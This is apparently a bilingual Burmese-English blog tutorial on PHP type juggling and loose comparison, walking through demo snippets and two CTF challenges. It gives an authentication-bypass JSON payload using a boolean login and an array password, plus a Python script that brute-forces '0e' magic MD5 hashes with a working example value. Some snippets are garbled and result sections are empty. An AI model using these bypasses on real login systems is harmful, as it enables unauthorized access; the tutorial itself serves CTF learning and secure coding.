PHP Magic Tricks

PHP Magic Tricks ေတြဟာ SQL Injection, XSS တို႕ေလာက္ နာမည္မၾကီးတာေၾကာင့္ က်ေနာ္တို႕ဆီမွာေတာ့ နည္းနည္းေလးလူသိနည္းပါတယ္။ Realworld မွာလိုက္ရွာဖို႕ခက္တယ္ဆိုေပမဲ့ CTF ေတြမွာ ေမးလို႕ေကာင္းတဲ့ Challenge အေနနဲ႕ေတာ့ ေတြ႕ရတတ္ပါတယ္။ Real World မွာလဲ Souce Code Audit လိုမ်ိဳးဆိုရင္ေတာ့ ဒီလိုမ်ိဳး Vulnerability ေတြကို ရွာမယ္ဆိုအဆင္ေျပပါတယ္။

In our country , PHP Magic Tricks are lesser known web attack than SQL Injection , XSS , etc… For real world web app , it may need souce code or white box testing. We can see this vulnerability in the CTF challenge. I have provided some CTF challenges for PHP Magic Tricks below.

CTF Examples

Loose Comparison [ root-me ]

Type Juggling [ root-me]

Papers

https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf

What is PHP loosely type comparison? ( ref )

PHP မွာ Comparison ေတြဘယ္လိုျဖစ္တယ္ဆိုတာ ကိုယ္တိုင္စမ္းၾကည့္လို႕ရပါတယ္။ ဒါကိုေလ့လာဖို႕အတြက္ PHP data types ေတြကိုေတာ့ သိထားဖို႕လိုပါတယ္။တကယ္လို႕မသိေသးဘူးဆိုရင္ေတာ့ က်ေနာ္နဲ႕အတူစမ္းၾကည့္လိုက္ပါ။

We can test and understand what is php type loosely. But we need to know PHP Data types first, Don’t worry! We can understand php data types pratically.

Ref – php data types

<?php

echo "+Scalar Types\r\n";
echo gettype(True);
echo "\r\n";
echo gettype(1);
echo "\r\n";
echo gettype(1.5);
echo "\r\n";
echo gettype("hello");
echo "\r\n";

echo "+Compound Types\r\n";
$a=array(1,2,3);
echo gettype($a);
echo "\r\n";
class foo{
//do something;
}
$b=new foo;
echo gettype($b);
echo "\r\n";
function callback(){
print "I m callable";
}

?>

Data Types နဲ႕ပတ္သတ္ျပီ စမ္းလို႕ရတဲ့ Function ေတြရွိပါေသးတယ္။ ဒါကို စမ္းသပ္ထားျပီးသားဇယားကြက္ေလးရွိပါတယ္။ တကယ္လုိ႕ စမ္းခ်င္ရင္လဲ စမ္းေပါ့။ ( Table Ref )

Comparison with ==

table ကေတာ့ရွိျပီးသားပဲ ။ ဒီလိုဆို က်ေနာ္တို႕ စမ္းၾကည့္မယ္။ ဒီလိုမ်ိဳးေလးစမ္းၾကည့္လိုက္ရင္ အဆင္ေျပတယ္။

We can test with following example.

<?php

if(true==true)
{
print "true";
}

?>

Comparison with ===

Testing Magic

ဒီ paper အရ Magic Trick ေလးေတြကိုက်ေနာ္တို႕စမ္းၾကည့္မယ္။

According to this paper, We will test magic tricks.

<?php

if("0e12345" == "0e54321")
{
print "true";
}

?>

Result

ပံုမွန္အားျဖင့္မတူဘူးေလ ဘာလို႕ တူတယ္လို႕ေျပာရတာလဲ?

This is not true normally , but why true?

Conventions

“Strings” -> string

“Numbers” – > int() , float()

“Boolean” -> True , False

Zero-like အဲဒါက ျဖစ္ေစတာလို႕ဆိုတယ္။ ဟုတ္မဟုတ္စမ္းၾကည့္မယ္။

PHP ဟာ String နဲ႕ Number ကို ႏွိုင္းယဥ္တယ္ဆိုပါေတာ့ String ကို Number အျဖစ္နဲ႕ ေျပာင္းလိုက္တယ္။ ျပီးေတာ့မွ numeric comparison လုပ္တယ္လို႕ဆိုတယ္။

When comparing a string to a number, PHP will attempt to
convert the string to a number then perform a numeric
comparison
<?php

$a="0000";
$b=0;
print gettype($a);
print "\r\n";
print gettype($b);
print "\r\n";

if($a==$b){
print "True";
print "\r\n";
print gettype($a);
print "\r\n";
print gettype($b);
print "\r\n";
}

?>

Result

ေျပာင္းတယ္ဆိုတာ Comparison လုပ္တဲ့အခ်ိန္ေလးပဲေျပာင္းတယ္ဆိုတာ က်ေနာ္တို႕ Result အရသိနိုင္တယ္။

According to result, we can know type casting happend in Comparison.

Type Casting or Juggling

ဒီလိုဆို Type casting ကို Comparison က မလုပ္ပဲ ကိုယ့္ဘာကိုလုပ္ၾကည့္မယ္ဆိုရင္ ဘာေၾကာင့္ “0000” နဲ႕ 0 နဲက ညီတယ္ဆိုတာကို က်ေနာ္တို႕ျမင္နိုင္ျပီေပါ့။

If we make type casting ourself, we can see why “0000” and 0 are the same.

<?php

$a="0000";
print $a."\r\n";
$b=0;
$a=(int)$a;
print $a."\r\n";
print $b."\r\n";

?>

0000 ဟာ Interget အျဖစ္နဲ႕ Type juggling လုပ္မယ္ဆိုရင္ ဆိုတဲ့ Interger အျဖစ္ေျပာင္းသြားတယ္။ အဲ့ေတာ့ 0 ဟာ 0 နဲ႕တူလားဆိုရင္ေတာ့ တူတယ္ေပါ့။

After type juggling , “0000” converted to interger 0 . When we compare o and o , the result will be true.

CTF Demos

 Root-me – Type Juggling

ဒီ Challenge မွာ Comparison ကို ၾကည့္လိုက္မယ္။

Comparison in this challenge.

if($auth['data']['login'] == $USER && !strcmp($auth['data']['password'], $PASSWORD_SHA256)){
$return['status'] = "Access granted! The validation password is: $FLAG";
}

First Comparison

$auth[‘data’][‘login’] == $USER

ဒါကေတာ့ user ကို check တာေပါ့။ အဲဒါလဲမသိဘူး။

Its checking username. We don’t know this username too.

ေသခ်ာသေလာက္ရွိတာက $USER ဆိုတဲ့ Varialble ထဲမွာ String တစ္ခုခုရွိေနဖို႕မ်ားတယ္။ PHP မွာ String နဲ႕ Boolean နဲ႕ တူလားဆိုရင္

We can know data types that stored in $USER variable may be string. What about PHP string and boolean comparison?

if(“string”==true){
print “right”;
}

String and Array

if(“string”==[]){
print “right”;
}

အဲဒါမတူဘူး ။ ဒါေပမဲ့ Challenge မွာ == နဲ႕စစ္ထားတာမဟုတ္ပါဘူး။ strcmp နဲ႕ျဖစ္တယ္။

Its not comparison with == , what about strcmp?

var_dump(!strcmp(“string”==[]));

ဒီေတာ့ Username မွာ boolean ထည့္ ၊ Password မွာ Array ကိုထည့္ရမွာေပါ့။

We can use boolean for username and array for password.

example

{“data”:{“login”:true,”password”:[]}}

Magic Hashes

HackDack Kiwi 2017

Comparison

if ($md5==md5($md5))

ဒီေတာ့ == နဲ႕စစ္ထားတာျဖစ္တယ္။ ဒါကိုက အားနည္းခ်က္ျဖစ္ေနတယ္ဆိုတာသိရမယ္။

Using == is a point for this challenge.

var_dump(“0e12345″==”0e54321”);
var_dump(“0e12345″===”0e54321”);

ဒါဆို comparison ကို စဥ္းစားရေအာင္ ။ user ထည့္လိုက္တဲ့ input ရယ္ အဲဒါကို md5 ေျပာင္းထားတဲ့ Value ရယ္ comparison ျပန္လုပ္ထားတယ္။ ဒီေတာ့ က်ေနာ္တို႕လုပ္ရမွာက string နဲ႕ md5 နဲ႕ျပန္ျပီးညီမယ့္ဟာကို ရွာလိုက္ရင္ရျပီ။

Example Python code from writeup

#!/usr/bin/env python
import hashlib
import re

prefix = '0e'


def breakit():
    iters = 0
    while 1:
        s = prefix + str(iters)
        hashed_s = hashlib.md5(s).hexdigest()
        iters = iters + 1
        r = re.match('^0e[0-9]{30}', hashed_s)
        if r:
            print "[+] found! md5( {} ) ---> {}".format(s, hashed_s)
            print "[+] in {} iterations".format(iters)
            exit(0)

        if iters % 1000000 == 0:
            print "[+] current value: {}       {} iterations, continue...".format(s, iters)

breakit()

Quick Test PHP code

<?php

$md5="0e215962017";
print md5($md5);
print "\r\n";
if($md5==md5($md5)){
echo "Gotcha!";
}
else
{
echo "Try again";
}

?>

Result

Thanks for Reading.